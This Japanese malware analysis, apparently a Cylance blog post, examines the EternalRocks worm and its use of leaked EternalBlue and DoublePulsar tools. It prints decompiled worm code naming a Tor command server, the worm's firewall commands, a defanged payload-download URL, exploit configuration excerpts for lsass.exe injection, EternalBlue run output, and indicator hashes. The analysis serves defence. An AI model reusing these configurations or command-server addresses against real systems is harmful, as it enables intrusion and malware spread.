脅威スポットライト: EternalRocksマルウェア(EternalBlueエクスプロイトの亜種)

By The Cylance Threat Research Team

はじめに

4月中旬に、ハッカー集団「Shadow Brokers」によって、「Equation Group」を名乗るAPT攻撃グループに関連すると思われるエクスプロイト、バックドア、その他のハッキングツールのアーカイブが公開されました。

Equation Groupは、極めて多くのリソースへのアクセスが可能な世界で最も洗練された攻撃グループの1つとして認められています。このアーカイブに入っている実際のツールのソースについて憶測する記事がたくさんありますが、犯人を特定しなくても、どのような影響が出るのか想像できます。また、この脅威を防御するための対策を講じることも可能です。

アーカイブには、リモートシステムでの任意のコードの実行を可能にするエクスプロイトが含まれていました。これは、Windowsのほとんどのバージョンにおいてデフォルトで開かれる共通ポートを標的にしたものです。最も注目すべきは、開いているサーバーメッセージブロック(SMB)ポートを標的にした、最近のWannaCryランサムウェア攻撃にも脅威を発揮した有名な「EternalBlue」エクスプロイトです。Adylkuzz暗号通貨マイニングを拡散するのにも利用されたと考えられています。

EternalBlueエクスプロイトを利用する攻撃は通常、次のようなパターンに従います:

1. パッチが適用されていない脆弱なシステムで通信ポートが開いているものを見つける。

2. EternalBlue(またはその他のエクスプロイト)が使用されてリモートコードが実行される。

3. DoublePulsarバックドアがアップロードされる。これにより、感染したシステムの遠隔操作と、さらなるペイロードのアップロードが可能になります。

4. DoublePulsarバックドアを利用して、任意のペイロードが標的システムのメモリに注入される。WannaCryの場合、このペイロードはランサムウェアでしたが、ランサムウェアよりもはるかに見つかりにくいマルウェアなどのペイロードが使用される可能性もあります。

5. WannaCryの場合、ペイロードにはEternalBlue / DoublePulsar攻撃チェーンでさらに感染拡大を試みるコードも含まれていました。これにより、WannaCryは実質的にワーム、つまりユーザーの介入なく拡散される一種のマルウェアになりました。

Microsoftは、Shadow Brokersのツール公開に含まれていた多数のエクスプロイトに対抗するパッチを公開しましたが、パッチが適用されていないシステムは相変わらずこの種の攻撃に対して脆弱です。上記のような攻撃チェーンに任意のペイロードを使用して攻撃を仕掛けられる可能性があることは覚えておく必要があります。

Adylkuzzについて

ランサムウェアではなく、暗号化通貨のマイニング機能をインストールするマルウェアであるAdylkuzzは、WannaCryより前から存在している可能性があり、同様の攻撃パターンが利用されています。Proofpointの調査担当者は、Adylkuzzのリサーチブログで、Adylkuzzがボットを利用してインターネットをスキャンし、EternalBlue / DoublePulsar攻撃に対して脆弱なシステムでSMB通信ポートが開いているものを探し、ペイロードをインストールしているのではないかと推測しています。c

WannaCryとAdylkuzzのペイロードは異なりますが、初期感染のベクトルはほとんど同じです。ただし、Shadow Brokersのツール公開の副産物がこれらだけと考えることは時期尚早です。

EternalRocks: EternalBlueの新しい副産物

EternalRocksという新しいワームが発見されたということは、公開されたツールが巧妙に悪用されて、EternalBlueなどのさまざまなエクスプロイト方法を駆使してインターネット上の脆弱なサーバーに拡散できる、さらに危険度が高いワームが出回る恐れがあることを意味しています。

EternalRocksの詳細:

EternalRocksワームは二段階のプロセスを踏んで、サーバーにリモートペイロードを事前に取り込めるようにします。第一段階では、リモートサーバーからペイロードが取得され、実行されます。

第二段階のバイナリは、Shadow Brokersの多数のエクスプロイトとペイロードをディスクにドロップしてから、ランダムな公開IPアドレスに対して実行を試みます。エクスプロイトが成功すると、第一段階のバイナリが感染したホストにアップロードされ、プロセスが再開されます。2017年5月25の時点では、この第二段階が空のバイナリに置き換わっているようです。

EternalRocks(第一段階):

SHA256:
d43c10a2c983049d4a32487ab1e8fe7727646052228554e0112f6651f4833d2c

このワームの第一段階は、難読化されていない.NETで書かれており、人間が解読可能なソースコードに簡単に逆コンパイルできます。解析してみると、このアプリケーションの重要な属性が見えてきます。たとえば、Tor Hidden Servicesコマンドアンドコントロール(CnC)サーバーのURLは、「Globals」リストにプレーンテキストで宣言されています:

namespace svchost
{
public class Globals
{
public static double myVersion = 1.27;
public static double dVersion = 1.0;
public static string sInstallDirectory = "C:\\Program Files\\Microsoft Updates";
public static string sOnion = "http://ubgdgno5eswkhmpy.onion";
}
}

第一段階の主な機能のほとんどは「On-Run」メソッドに含まれており、このメソッドはシステム上でさまざまなアクションを実行します:

1. 「installed.fgh」のインストールを調べる。見つかったら、インストールを終了させる。既に感染しているシステムでの重複インストールを回避しようとしているようです。

2. svchost.taskhost.exeとsvchost.TorUnzip.exeという、元のバイナリにリソースとして埋め込まれている追加の2つのバイナリをインストールする。

3. Torをインストールする。

4. 送信側接続のファイヤウォールルールを作成して、追加のコンポーネントをダウンロードする。

5. Windowsのスケジュールタスクを作成して、感染したホストでの永続性を確保する。 興味深いことに、ワームの第一段階ではファイル共有と印刷共有のサービスが無効にされ、SMB 445ポート経由のトラフィックがすべて遮断されます。これにより、このポートに向けられた以降の侵入の試みが実質的に阻止されます。

public class OnRun
{
…………….
firewall.DoFirewallRule("firewall set service fileandprint disable");
firewall.DoFirewallRule("advfirewall firewall add rule name=\"Malware SMB Block dir=in localport=445 protocol=TCP action=block");
firewall.DoFirewallRule("firewall set opmode ENABLE");
……………
}

最後に、Tor CnCサーバーから第二段階のペイロードがフェッチされ、バイナリが実行されます: hxxp://ubgdgno5eswkhmpy(dot)onion/updates/download?id=PC

EternalRocks(第二段階):

EternalRocksが発見されてから、少なくとも2つの第二段階バイナリが確認されています:

1. Shadow Brokersの多数のエクスプロイト、設定、そしてペイロードをディスクにドロップしてから、その他の脆弱なホストに伝播を試みる自己伝播型ワーム。

2. 有害なコードが含まれていない空の.NETバイナリ。おそらくワームの伝播を一旦停止させるためにマルウェアの作成者によって置かれたものと考えられます。

当初の第二段階:

SHA256:
cf8533849ee5e82023ad7adbdbd6543cb6db596c53048b1a0c00b3643a72db30

上記のTor Hidden Service URLから取得される第二段階の感染源には、自己伝播型のコンポーネントがすべて含まれています。インストールが成功すると、Shadow Brokersのエクスプロイトのアーカイブ、設定ファイル、ペイロードがディスクにドロップされます。その後、アーカイブに含まれていたエクスプロイトを使用して、開いているポートを通じてインターネットに接続されているサーバーへの攻撃が開始されます。

設定ファイルの存在が侵入の試みを示唆するのであれば、少なくとも6つのエクスプロイトが使用されていると推測できます。注目すべきは、ほとんどがSMBプロトコルに向けられていることです。これは445へのトラフィックを拒否することでブロックできます。ただし、ARCHITOUCHはポート49152に向けられています。このポートは通常、Windows OSを実行するホストで開いているポートです。DoublePulsarは、少なくともEternalBlueとともに使われる場合は、侵入の試みが成功した後でインストールされる後段のバックドアです:

図1:Shadow Brokersエクスプロイトの設定ファイル

設定ファイルを解析すれば、このワームのおおよその仕組みが分かります。EternalBlueエクスプロイトの設定ファイルの内容は次のとおりです:

<t:parameter name="TargetIp" description="Target IP Address" type="IPv4" format="Scalar" valid="true">
<t:value>XXX.XXX.XXX.XXX</t:value>
</t:parameter>
- <t:parameter name="TargetPort" description="Port used by the SMB service for exploit connection" type="TcpPort" format="Scalar" valid="true">
<t:default>445</t:default>
<t:value>445</t:value>
</t:parameter>
- <t:parameter name="MaxExploitAttempts" description="Number of times to attempt the exploit and groom. Disabled for XP/2K3." type="U32" format="Scalar" valid="true">
<t:default>3</t:default>
<t:value>3</t:value>
</t:parameter>
- <t:paramchoice name="Target" description="Operating System, Service Pack, and Architecture of target OS">
<t:value>WIN72K8R2</t:value>
<t:paramgroup name="XP" description="Windows XP 32-Bit All Service Packs" />
<t:paramgroup name="WIN72K8R2" description="Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs" />
</t:paramchoice>
</t:config>

作成者が意図する標的がだいたい何であるかを知ることができます: つまり、標的は445ポートが開いている、32ビットまたは64ビットバージョンのWindows XP、Windows 7、またはServer 2008 R2 OSです。この設定ファイルを使用すれば、標的のIPアドレスを簡単に操作することもできます。これを利用して、安全なテスト環境で同じエクスプロイトを再現することができました。

EternalBlueを利用すると、実際は次のような長い出力が生成されます:

[*] Connecting to target for exploitation.
[*] Pinging backdoor...
[+] Backdoor not installed, game on.
[*] Target OS selected valid for OS indicated by SMB reply
[*] CORE raw buffer dump (39 bytes):
0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
0x00000010 30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73 008 R2 Enterprise
0x00000020 65 20 37 36 30 30 00 e 7600.
[*] Building exploit buffer
[*] Sending all but last fragment of exploit packet
................DONE.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Starting non-paged pool grooming
[+] Sending SMBv2 buffers
..................DONE.
[+] Sending large SMBv1 buffer..DONE.
[+] Sending final SMBv2 buffers......DONE.
[+] Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Sending last fragment of exploit packet!
DONE.
[*] Receiving response from exploit packet
[+] ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] Sending egg to corrupted connection.
[*] Triggering free of corrupted buffer.
[*] Pinging backdoor...
[+] Backdoor returned code: 10 - Success!
[+] Ping returned Target architecture: x64 (64-bit)
[+] Backdoor installed
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

EternalBlueが成功すると、DoublePulsarバックドアが呼び出されます。関連する設定ファイルには、次のようなオプションがあります:

<t:paramchoice name="Function" description="Operation for backdoor to perform">
<t:default>OutputInstall</t:default>
<t:value>RunDLL</t:value>
- <t:paramgroup name="OutputInstall" description="Only output the install shellcode to a binary file on disk.">
<t:parameter name="OutputFile" description="Full path to the output file" type="String" format="Scalar" />
</t:paramgroup>
<t:paramgroup name="Ping" description="Test for presence of backdoor" />
- <t:paramgroup name="RunDLL" description="Use an APC to inject a DLL into a user mode process.">
- <t:parameter name="DllPayload" description="DLL to inject into user mode" type="LocalFile" format="Scalar" valid="true">
<t:value>c:\ops\payloads\ReflectivePick_x86.dll</t:value>
</t:parameter>
- <t:parameter name="DllOrdinal" description="The exported ordinal number of the DLL being injected to call" type="U32" format="Scalar" valid="true">
<t:default>1</t:default>
<t:value>1</t:value>
</t:parameter>
- <t:parameter name="ProcessName" description="Name of process to inject into" type="String" format="Scalar" valid="true">
<t:default>lsass.exe</t:default>
<t:value>lsass.exe</t:value>

これで、作成者がDoublePulsarで何をしようとしているのかを判断できます。つまり、「ReflectivePick_x86.dll」ペイロードをlsass.exeに注入し、rundll32.exeを使用してその最初の序数エクスポートを呼び出します。この操作を手動実行すると、次のような結果になります:

図2: ペイロードの実行

「UpdateInstaller.exe」は、第一段階ペイロードの汎用ファイル名を指すため、EternalBlueエクスプロイトが成功すれば、新しい第一段階ペイロードがリモートホストに感染し、このサイクルが何度も繰り返されるものと推測されます。

新しい第二段階:

独立系調査機関によるEternalRocksに関する調査によれば、このワームの作成者と思われる人物が2017年5月25日に元の自己伝播型ペイロードを空の.NETアプリケーションに置き換えています。このバイナリは安全で、機能的なコードは何も入っていません。上記の.NETバイナリと同様に、ソースコードに逆コンパイルするのは簡単です:

図3 - 無害なバイナリのソースコード

SHA256:
48b1024f599c3184a49c0d66c5600385265b9868d0936134185326e2db0ab441

実行しても、このアプリケーションは検出可能なアクションは実行せず、実質的にワームの拡散を阻止します。多数の感染したホストでは第一段階がまだアクティブで、このバイナリはいつでも、もっと有害なものに置き換えられる可能性があることに注意する必要があります。

リスクの軽減

サイランスのエンドポイント防護製品CylancePROTECT®をご利用中のお客様は、この攻撃やあらゆる亜種から既に防御されています。CylancePROTECTをご利用でない場合、AI駆動ソリューションがいかにして未知の新しい脅威を予測・阻止できるかについてぜひサイランスまでお問い合わせください

まとめ

注目すべきは、2017年5月末の時点で、EternalRocksのC&Cサーバーのドメインはまだ登録されており、前述の空のペイロードが配信されていることです。この無害なペイロードがいつ有害な何かに置き換えられるか分かりません。また、作成者がこのフレームワークを悪意のある他のハッカーに売却したり、さらにより大規模な攻撃を企む誰かにフレームワークがリバースエンジニアリングされる恐れもあります。

EternalRocksは、今後のShadow Brokersのエクスプロイトベースが攻撃に利用できるかを確認した実証実験(POC)の位置づけとも考えられます。複数の伝播メカニズムが採用された他のワームと同様に、脆弱性が公式に修正された後でも、パッチが適用されていないホストに留まり、環境内に長期に渡って居座る可能性があります。このような攻撃が今後、さらに洗練され、複数の攻撃ベクトルを活用して多数の有害なペイロードを配信して被害が拡大する恐れがあることを心に留めておかなければいけません。

侵入の痕跡(IoC)

SHA-256ハッシュ:

第一段階:
d43c10a2c983049d4a32487ab1e8fe7727646052228554e0112f6651f4833d2c

当初の第二段階:
cf8533849ee5e82023ad7adbdbd6543cb6db596c53048b1a0c00b3643a72db30

新しい第二段階:
48b1024f599c3184a49c0d66c5600385265b9868d0936134185326e2db0ab441

Shadow Brokersのエクスプロイトパッケージ:
70ec0e2b6f9ff88b54618a5f7fbd55b383cf62f8e7c3795c25e2f613bfddf45d

ファイル名(多様):

第一段階 – “UpdateInstaller.exe”

当初の第二段階 – “taskhost.exe”

新しい第二段階 – “taskhost.exe”

URLs:

hxxp://ubgdgno5eswkhmpy(dot)onion/updates/download?id=PC

Tags: